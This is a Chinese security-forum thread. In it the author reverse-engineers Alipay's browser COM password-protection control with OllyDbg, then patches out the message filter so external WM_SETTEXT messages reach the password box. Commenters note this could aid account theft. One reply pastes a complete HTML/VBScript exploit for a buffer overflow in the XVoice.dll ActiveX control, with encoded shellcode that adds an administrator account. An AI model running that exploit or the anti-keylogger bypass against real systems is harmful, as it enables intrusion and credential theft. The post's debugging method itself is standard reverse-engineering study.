支付宝com组件分析

2014-11-15 17:06:33 41 19146
所需基础请阅读<<COM本质论>>
如果你此前从未玩过COM.

那么首先运行  Install.bat 安装COM

然后运行 HtmlCom.htm  (如果不能打开程序,尝试使用IE浏览器)

每次运行都会加载COM组件,浏览器都会有个提示


打开后,你就能看到CM程序了
工具: ie 6.0  od1.0 支付宝
环境:xp sp3

在Ddv群里面有个朋友问我怎样给淘宝的密码框发送诸如wm_settext之类的消息. 心想现在也没工作了,反正闲着也是闲着,就看看.首先直接打开www.支付宝.com 可以看到,密码框处会提示 请先安装控件. 然后浏览器上方会显示 需要下载的文件.

我们只要点击下载文件然后安装,安装后,直接刷新或者重新打开浏览器即可.
印象中,安装控件有的时候下载是exe文件,有的时候是直接下载com组件(非exe)

安装好了之后,我们就可以正常的登录了.我们来写一个发消息的,看看是否如那位朋友所说.

代码:
Private Sub Command1_Click()
    SendMessage &H10B90, WM_SETTEXT, 0, "bjbl"
End Sub
点了按钮之后果真没有反映.
我们首先要确定消息是否有到达.
可以打开spy来看看.

通过spy回显,我们可以知道消息是已经到达了.
但是 fSucceeded:False 的提示.我们现在知道消息是到达的.
只是支付宝处理(过滤掉)了.

那么我们就来看看支付宝做了哪些”手脚”.

我们大家都知道支付宝是b/s框架的.(好像也有c/s的,本文只讲b/s).
我们来打开一个browser 然后看一下他用了哪些模块.
这里browser我用的ie 6.0  模块查看工具用的 xuetr(它支持直接显示非系统模块)

我们可以直观的看出目录为 3.6.0.0 的模块是可疑的.
既然是b/s那这些模块肯定就是com程序.
下面我们直接用od 加载 ie . 看看它的导出函数.
我们随便找个aliedit.dll 模块看看.

通过那四个 DLLxxxxx 的导出函数名,我们就能基本判定这个是com了.
Com的程序怎么分析? 看雪有一篇贴子有详细的介绍如何分析.

链接:跟踪调试COM组件的接口

文中的方法大致就是对oleaut32.dispcallfunc 下断点.然后com里面调用了哪些函数就都会断下来.

我自己写了一个com程序,用了这个方法试了一下,并没有断下来 :(
而支付宝断是会断下来,但并不是响应我们想要他断下来的消息.当我们输入密码的时候.它并不会断下来. 所以这个贴子的方法,对于我们来说,是没有用的 :(

这里给出另一种可用的方法.
首先go到 user32.getwindowthreadprocessid 这个函数下.
77D18A80 user32.> $  8BFF          mov edi,edi

77D18A82          .  55            push ebp

77D18A83          .  8BEC          mov ebp,esp

77D18A85          .  56            push esi

77D18A86          .  FF75 08       push dword ptr ss:[ebp+8]

77D18A89          .  E8 38000000   call user32.77D18AC6

77D18A8E          .  8BF0          mov esi,eax

77D18A90          .  85F6          test esi,esi

77D18A92          .  74 28         je short user32.77D18ABC

77D18A94          .  E8 BCFBFFFF   call user32.77D18655

77D18A99          .  3BF0          cmp esi,eax

77D18A9B          .^ 0F85 49FCFFFF jnz user32.77D186EA

77D18AA1          .  8B4D 0C       mov ecx,dword ptr ss:[ebp+C]

77D18AA4          .  85C9          test ecx,ecx

77D18AA6          .  74 0B         je short user32.77D18AB3

77D18AA8          .  64:A1 1800000>mov eax,dword ptr fs:[18]

77D18AAE          .  8B40 20       mov eax,dword ptr ds:[eax+20]

77D18AB1          .  8901          mov dword ptr ds:[ecx],eax

77D18AB3          >  64:A1 1800000>mov eax,dword ptr fs:[18]

77D18AB9          .  8B40 24       mov eax,dword ptr ds:[eax+24]

77D18ABC          >  5E            pop esi

77D18ABD          .  5D            pop ebp

77D18ABE          .  C2 0800       retn 8
其中
77D18A9B          .^\0F85 49FCFFFF jnz user32.77D186EA
这里就是关键.

我们在go到 77D186EA 处
77D186EA          > /8B75 0C       mov esi,dword ptr ss:[ebp+C]

77D186ED          . |85F6          test esi,esi

77D186EF          . |74 0C         je short user32.77D186FD

77D186F1          . |6A 00         push 0

77D186F3          . |FF75 08       push dword ptr ss:[ebp+8]

77D186F6          . |E8 E0FFFFFF   call user32.77D186DB

77D186FB          . |8906          mov dword ptr ds:[esi],eax

77D186FD          > |6A 01         push 1

77D186FF          . |FF75 08       push dword ptr ss:[ebp+8]

77D18702          . |E8 D4FFFFFF   call user32.77D186DB

77D18707          . |E9 B0030000   jmp user32.77D18ABC

77D1870C          $ |55            push ebp

77D1870D          . |8BEC          mov ebp,esp

77D1870F          . |56            push esi

77D18710          . |57            push edi

77D18711          . |53            push ebx

77D18712          . |68 CDABBADC   push DCBAABCD

77D18717          . |56            push esi

77D18718          . |FF75 18       push dword ptr ss:[ebp+18]

77D1871B          . |FF75 14       push dword ptr ss:[ebp+14]

77D1871E          . |FF75 10       push dword ptr ss:[ebp+10]

77D18721          . |FF75 0C       push dword ptr ss:[ebp+C]

77D18724          . |64:A1 1800000>mov eax,dword ptr fs:[18]

77D1872A          . |8088 B40F0000>or byte ptr ds:[eax+FB4],1

77D18731          . |FF55 08       call near dword ptr ss:[ebp+8]

77D18734          . |64:8B0D 18000>mov ecx,dword ptr fs:[18]

77D1873B          . |80A1 B40F0000>and byte ptr ds:[ecx+FB4],0

77D18742          . |817C24 04 CDA>cmp dword ptr ss:[esp+4],DCBAABCD

77D1874A          . |0F85 607C0200 jnz user32.77D403B0

77D18750          > |83C4 08       add esp,8

77D18753          . |5B            pop ebx

77D18754          . |5F            pop edi

77D18755          . |5E            pop esi

77D18756          . |5D            pop ebp

77D18757          . |C2 1400       retn 14
其中下面这句就是com的毕竟桥梁.我们在这里下个f2断点即可.
77D18731          . |FF55 08       call near dword ptr ss:[ebp+8]
我们还可以用另外一个方法.直接搜索这个数值: 0xDCBAABCD.
References in user32:.text to constant DCBAABCD

Address    Disassembly  

77D186F3   push dword ptr ss:[ebp+8]

77D18712   push DCBAABCD

77D18742   cmp dword ptr ss:[esp+4],DCBAABCD

77D403B0   cmp dword ptr ss:[esp],DCBAABCD
会有上面四个结果, 双击 cmp dword ptr ss:[esp+4],DCBAABCD 这一句进去.
这样就会看到和上面一个方法一样的结果了.

我们在刚刚 77D18731  com必经桥梁下好断点后.现在就可以去输入密码.
我们会发现还没有等我们输入密码,od就已经断下来了.
断下来我们可以看信息窗口显示.
Stack ss:[0013EA90]=06740FB0
我们go到 06740FB0 处.

从图中我们可以看出,当前是主线程.
而在06740FB8 处 可以看到,将要跳向flash32 这个com.
那么我们就可以认为这个是和我们无关的,我们直接f9.

又断下来了,我们接着看信息窗口.
Stack ss:[0013E464]=75F4348B (BROWSEUI.75F4348B)
这下,我们直接从信息窗口中可以看出是 browseui 这个模块.
我们一直f9 会发现一直中断在这几个无关的模块下.
那么我们可以用条件断点过滤掉.

我们首先看一下我们判断的那几个模块的地址.
Executable modules

Base       Size        Entry       Name

07BF0000   00098000   07C852D0   Alidcp.dll

07A30000   000BC000   07AE90E0   aliedit.dll

07070000   0001D000   0707820C   itrusenroll.dll

10000000   000C5000   100C2640   npAliSecCtrl.dll

070A0000   00021000   070B19AB   pta.dll

00400000   00019000   00402451   IEXPLORE.EXE
知道地址后,我们可以对着必经桥梁按下shift+f2 写入下面的条件断点.

因为这几个模块地址的跨度比较大,为了省时间就不写复杂的条件语句了.
我们就一个一个的试过去.

aliedit.dll
[ebp+8]>=7a30000&[ebp+8]<=7AEC000
Alidcp.dll
[ebp+8]>=7bf0000&[ebp+8]<=7C88000
itrusenroll.dll
[ebp+8]>=7070000&[ebp+8]<=708D000
npAliSecCtrl.dll
[ebp+8]>=10000000&[ebp+8]<=100C5000
pta.dll
[ebp+8]>=70A0000&[ebp+8]<=70C1000
IEXPLORE.EXE
[ebp+8]>=400000&[ebp+8]<=419000
全部试下来,发现都没有中断.这是哪里的问题?
大家还记得刚刚中断的时候,是在主线程里面吧?所以我们这样写是不行的.
应该像下面这样.
[ebp+8]!=06740FB0&[ebp+8]<=7a30000
断下来了,看信息窗口.
Stack ss:[0013E77C]=06660F90
GO过去看反汇编.
06660F90           C74424 04 104BE>mov dword ptr ss:[esp+4],2E44B10

06660F98         - E9 D8529A09     jmp npAliSec.10006275
可以看到这时才是jmp 到 支付宝的模块里面了.
用此方法可以方便的定位到支付宝的com组件处理流程里面.
此方法我也测试过我写的com demo,也是可以轻松定位到的 :)

剩下的我们就是直接到 10006275分析即可.
之前的条件断点取消掉,在 10006275处下断点. F9运行.
10006275         /.  55            push ebp

10006276         |.  8BEC          mov ebp,esp

10006278         |.  83EC 24       sub esp,24

1000627B         |.  56            push esi

1000627C         |.  8B75 08       mov esi,[arg.1]

1000627F         |.  85F6          test esi,esi

10006281         |.  0F84 C1000000 je npAliSec.10006348

10006287         |.  8B06          mov eax,dword ptr ds:[esi]

10006289         |.  85C0          test eax,eax

1000628B         |.  0F84 B7000000 je npAliSec.10006348

10006291         |.  837E 1C 00    cmp dword ptr ds:[esi+1C],0

10006295         |.  0F84 AD000000 je npAliSec.10006348

1000629B         |.  57            push edi

1000629C         |.  6A 01         push 1

1000629E         |.  FF75 14       push [arg.4]

100062A1         |.  8D4D DC       lea ecx,[local.9]

100062A4         |.  FF75 10       push [arg.3]

100062A7         |.  FF75 0C       push [arg.2]

100062AA         |.  50            push eax

100062AB         |.  E8 B8F4FFFF   call npAliSec.10005768

100062B0         |.  FF76 20       push dword ptr ds:[esi+20]

100062B3         |.  8B7E 24       mov edi,dword ptr ds:[esi+24]

100062B6         |.  8B4E 1C       mov ecx,dword ptr ds:[esi+1C]

100062B9         |.  8D55 08       lea edx,[arg.1]

100062BC         |.  52            push edx

100062BD         |.  FF75 14       push [arg.4]

100062C0         |.  8D45 DC       lea eax,[local.9]

100062C3         |.  FF75 10       push [arg.3]

100062C6         |.  8946 24       mov dword ptr ds:[esi+24],eax

100062C9         |.  FF75 0C       push [arg.2]

100062CC         |.  8B01          mov eax,dword ptr ds:[ecx]

100062CE         |.  FF36          push dword ptr ds:[esi]

100062D0         |.  FF10          call near dword ptr ds:[eax]

100062D2         |.  897E 24       mov dword ptr ds:[esi+24],edi

100062D5         |.  85C0          test eax,eax

100062D7         |.  75 69         jnz short npAliSec.10006342

100062D9         |.  53            push ebx

100062DA         |.  BB 82000000   mov ebx,82

100062DF         |.  395D 0C       cmp [arg.2],ebx

100062E2         |.  74 15         je short npAliSec.100062F9

100062E4         |.  FF75 14       push [arg.4]

100062E7         |.  8BCE          mov ecx,esi

100062E9         |.  FF75 10       push [arg.3]

100062EC         |.  FF75 0C       push [arg.2]

100062EF         |.  E8 B5F3FFFF   call npAliSec.100056A9

100062F4         |.  8945 08       mov [arg.1],eax

100062F7         |.  EB 48         jmp short npAliSec.10006341

100062F9         |>  8B06          mov eax,dword ptr ds:[esi]

100062FB         |.  8B3D ECF20710 mov edi,dword ptr ds:[1007F2EC]

10006301         |.  6A FC         push -4

10006303         |.  50            push eax

10006304         |.  FFD7          call near edi

10006306         |.  FF75 14       push [arg.4]

10006309         |.  8BCE          mov ecx,esi

1000630B         |.  FF75 10       push [arg.3]

1000630E         |.  8945 0C       mov [arg.2],eax

10006311         |.  53            push ebx

10006312         |.  E8 92F3FFFF   call npAliSec.100056A9

10006317         |.  8945 08       mov [arg.1],eax

1000631A         |.  8B46 18       mov eax,dword ptr ds:[esi+18]

1000631D         |.  3B05 D4F20710 cmp eax,dword ptr ds:[1007F2D4]

10006323         |.  74 19         je short npAliSec.1000633E

10006325         |.  8B06          mov eax,dword ptr ds:[esi]

10006327         |.  6A FC         push -4

10006329         |.  50            push eax

1000632A         |.  FFD7          call near edi

1000632C         |.  3B45 0C       cmp eax,[arg.2]

1000632F         |.  75 0D         jnz short npAliSec.1000633E

10006331         |.  FF76 18       push dword ptr ds:[esi+18]

10006334         |.  6A FC         push -4

10006336         |.  FF36          push dword ptr ds:[esi]

10006338         |.  FF15 E8F20710 call near dword ptr ds:[1007F2E8]

1000633E         |>  8326 00       and dword ptr ds:[esi],0

10006341         |>  5B            pop ebx

10006342         |>  8B45 08       mov eax,[arg.1]

10006345         |.  5F            pop edi

10006346         |.  EB 02         jmp short npAliSec.1000634A

10006348         |>  33C0          xor eax,eax

1000634A         |>  5E            pop esi

1000634B         |.  C9            leave

1000634C         \.  C2 1000       retn 10
立马中断, 再F9运行,又中断, 如是重复, 再通过堆栈观察不难看出是下面四个参数.
BOOL IsDealMsg( 

                LPMSG lpMsg,        // message information 

                HWND  hWnd,         // handle to window 

                UINT  wMsgFilterMin,// first message 

                UINT  wMsgFilterMax // last message);
我们把里面的msg都纪录一下.大概有如下一些消息.
#define WM_SETFOCUS                     0x0007

#define WM_KILLFOCUS                    0x0008

#define WM_SETTEXT                      0x000C

#define WM_GETTEXT                      0x000D

#define WM_PAINT                        0x000F

#define WM_ERASEBKGND                  0x0014

#define WM_CANCELMODE                  0x001F

#define WM_SETCURSOR                    0x0020

#define WM_MOUSEACTIVATE                0x0021

#define WM_WINDOWPOSCHANGING         0x0046

#define WM_WINDOWPOSCHANGED          0x0047

#define WM_NCCALCSIZE                   0x0083

#define WM_NCHITTEST                    0x0084

#define WM_NCPAINT                      0x0085

#define WM_NCMOUSEMOVE               0x00A0

#define WM_CTLCOLOREDIT                 0x0133

#define WM_MOUSEFIRST                  0x0200

#define WM_LBUTTONDOWN                0x0201

#define WM_LBUTTONUP                   0x0202

#define WM_CAPTURECHANGED              0x0215

#define WM_IME_SETCONTEXT               0x0281

#define WM_IME_NOTIFY                   0x0282



#define EM_GETSEL                        0x00B0

#define EM_SETSEL                        0x00B1
我们自己发的消息是wm_settext 对应的值是 0xc
那么我们直接在函数首下个条件断点 [esp+8]==0xc 即可

断下来后我们单步,走到这里的时候不该跳的,他却跳了.所以,我们只要把这句nop掉即可
100062D7         |. /75 69         jnz short npAliSec.10006342
Nop 后, 我们来用工具测试一下.

测试是okay的.我们的目的就达到了 :)

但是大家应该能看出好像哪里还有问题.
没错,问题就出现在密码是明文的了.我们点登录测试,
也是不成功的,会提示 “系统忙,请稍候再试” 的字样.

当我们再在 10006275 处下好wm_settext 条件断点.
然后直接运行, 在密码框处 输入 “b”
然后中断看 lparam 这个参数. 里面直接显示的是 “*”

同样用工具测试的时候,查看 lparam 而是显示 “bjbl”

说明在wm_settext 之前还做了些手脚.就okay了.
考虑到有些童鞋拿去做坏事,剩下的,就不写了.后面的分析方法和前面讲的都差不多.

那位朋友又问我, 如果不patch 可以实现吗?
方法还是有很多的. 比如 patch com文件 ,(当然也可能会有Crc 文件完整性效验)

甚至我们重写一份 edit 的 com 程序,也是可以的.

本文主要还是讲解com组件的调试分析方法、就讲到这里、谢谢支持!
请管理于本帖发表后的一个小时内升级阅读权限为20。谢谢。
类别 逆向破解

关于作者

easycode篇文章篇回复

easycode
41

评论41次

要评论？请先  登录  或  注册
  • 21楼
    hualuorenjia
    Rank: 1
    2014-12-24 14:53

    高大上啊 好好学xi了

  • 20楼
    perky
    Rank: 2
    2014-11-22 16:20

    看得很累，先收藏了。。。

  • 19楼
    or6521
    Rank: 1
    2014-11-21 22:27

    围观八爷

  • 18楼
    freer
    Rank: 1
    2014-11-20 14:15

    不知道有什么漏洞不

  • 17楼
    ROC
    Rank: 2
    2014-11-20 02:03

    汇编牛完全看不懂

  • 16楼
    w1ngs
    Rank: 1
    2014-11-18 12:14

    http://bbs.pediy.com/showthread.php?t=183584

  • 15楼
    easycode
    2014-11-16 22:06
    adsltsee：

    虽然看不太懂。。。但是起码也要支持一下原创精神

    1

    帖子已重新编辑、开头带了使用说明喜欢请顶一下、谢谢

  • 14楼
    easycode
    2014-11-16 15:46
    洪流：

    写的很好，分析的很详细

    1

    那就打赏一点如何？

  • 13楼
    洪流
    Rank: 9Rank: 9Rank: 9
    2014-11-16 15:04

    写的很好，分析的很详细

  • 12楼
    adsltsee
    Rank: 2
    2014-11-16 15:02

    虽然看不太懂。。。但是起码也要支持一下原创精神

  • 11楼
    gcz1992
    Rank: 2
    2014-11-16 10:59

    楼主这是要逆天，Delphi玩的也溜啊。。。 调试技术练了几年了

  • 10楼
    easycode
    2014-11-15 20:45

    这个是com组件的接口调试函数跟我的是不一样的

  • 9楼
    easycode
    2014-11-15 20:44
    ty4z2008：

    @easycode 已经上传附件

    1

    直接贴上来吧 Delphi下，具体情况我不晓得。 你知道COM是通用的嘛，所以，要查看COM的接口，可以使用ComRaider，或者 使用VC里的一个工具,叫做"Ole View"，启动后，选择菜单“File”->“View TypeLib”， 即可看到COM接口的信息。 这篇文章，是基于 自动化COM 的。 ComRaider是我拿来挖掘漏洞用的。 看下面的代码，那个貌似是用ComRaider找到的，可惜到现在我还没找到过一个漏洞~ -_-!! 下面这个漏洞需要用到Unicode来写Shellcode。比较麻烦点。 <!-- 01/06/2007 23.19.50 Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll) / DirectSpeechRecognition Module (Xlisten.dll) remote buffer overflow exploit / 2k sp4 seh version both the dlls are located in %SystemRoot%\speech folder and they are vulnerable to the same issue. while on 2k it depends on activex settings, under xp they are both set to "safe for a trusted caller", i.e. Internet Explorer registers after that some chars are passed to ModeName argument of FindEgine method and seh handler is overwritten: EAX 00000000 ECX 00000000 EDX 02770608 EBX 6535F590 XVoice.6535F590 ESP 0012DBB8 UNICODE "AAAA... EBP 00410041 IEXPLORE.00410041 ESI 001921BC EDI 0012DBF8 UNICODE "AAAA... EIP 00410041 IEXPLORE.00410041 I succesfully run this code on win2k, patching the shellcode with the venetian technique, adding an Administrator account, against IE6. Under xp, with predefined settings, Internet Explorer immediately crashes without warning the user first, and it's still possible running arbitrary code, it depends on jumpable Unicode addresses loaded in memory by A. Micalizzi (aka rgod) site: retrogod.altervista.org ***note: this was indipendently discovered by me and Will Dormann during the same period, documented here: http://www.kb.cert.org/vuls/id/507433 http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx the affected package, http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp is still distributed with the kill bit not set --> <html> <object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT> <script language='vbscript'> targetFile = "C:\WINNT\speech\XVoice.dll" memberName = "FindEngine" progid     = "ACTIVEVOICEPROJECTLib.DirectSS" argCount   = 28 REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p' scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37%eb%97%6a%b3%6c%3c%6c") nop1  = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40") c1    = unescape("%6E") : REM add byte ptr esi, ch (as nop) c2    = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi c3    = unescape("%6E%40%6E%05%18%09") : REM add eax c4    = unescape("%6E%40%6E%2d%11%09") : REM sub eax c5    = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice code  = nop1 & c1 & c2 & c3 & c4 & c5 & _ unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80%18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40%6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e%80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e%40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e%80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40%6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e%40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80%92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e%40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40%6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e%40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40%6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80%f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e%80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40%6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e%40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40%6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17%6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40") seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment EngineID="default" MfgName="default" ProductName="default" ModeID="default" ModeName= suntzu LanguageID=1 Dialect="default" Speaker="default" Style="default" Gender=1 Age=1 Features=1 Interfaces=1 EngineFeatures=1 RankEngineID=1 RankMfgName=1 RankProductName=1 RankModeID=1 RankModeName=1 RankLanguage=1 RankDialect=1 RankSpeaker=1 RankStyle=1 RankGender=1 RankAge=1 RankFeatures=1 RankInterfaces=1 RankEngineFeatures=1 DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures </script> </html>

  • 8楼
    ty4z2008 湖南理工学院 学生
    Rank: 2
    2014-11-15 20:36

    @easycode 已经上传附件

  • 7楼
    Rices
    Rank: 2
    2014-11-15 20:30

    这个危害很大啊 被盗号的利用了就完了 支持lz

  • 6楼
    easycode
    2014-11-15 19:33

    @t00ls管理团队11 分析比较有困难，能给加个精华？

  • 5楼
    easycode
    2014-11-15 19:31
    ty4z2008：

    t00ls终于有逆向的文章了。文中提到的文章地址：http://bbs.pediy.com/showthread.php?t=46523直接阅读地址：http://www.open-open.com/doc/vie ... 488bc42cc9917b749d6

    1

    这个方法不行啊，还是无法下段

  • 4楼
    ty4z2008 湖南理工学院 学生
    Rank: 2
    2014-11-15 19:13

    t00ls终于有逆向的文章了。 文中提到的文章地址：http://bbs.pediy.com/showthread.php?t=46523 直接阅读地址：http://www.open-open.com/doc/vie ... 488bc42cc9917b749d6

  • 3楼
    anlfi
    Rank: 2
    2014-11-15 18:18

    修改内存有效吧，改文件太明显了 建议来个伪代码的函数原型 机械码 不便于阅读 被处理的地方肯定是经过算法加密的然后再发包 其实写出来也没什么 倒是nop 流程上断开有点深意 nop 以后这个密码直接就可以抓取了吧 lz的分析文章还是很有用的 部分xi统其实都是通过ocx+com加密与网页通信的 如果不搞定加密连抓包处理都做不到 更别说对web进行测试 t00ls 总算是有逆向的了 值得学xi

  • 2楼
    testing
    Rank: 1
    2014-11-15 18:11

    看得出这文章写得非常好，但能力不够，看不懂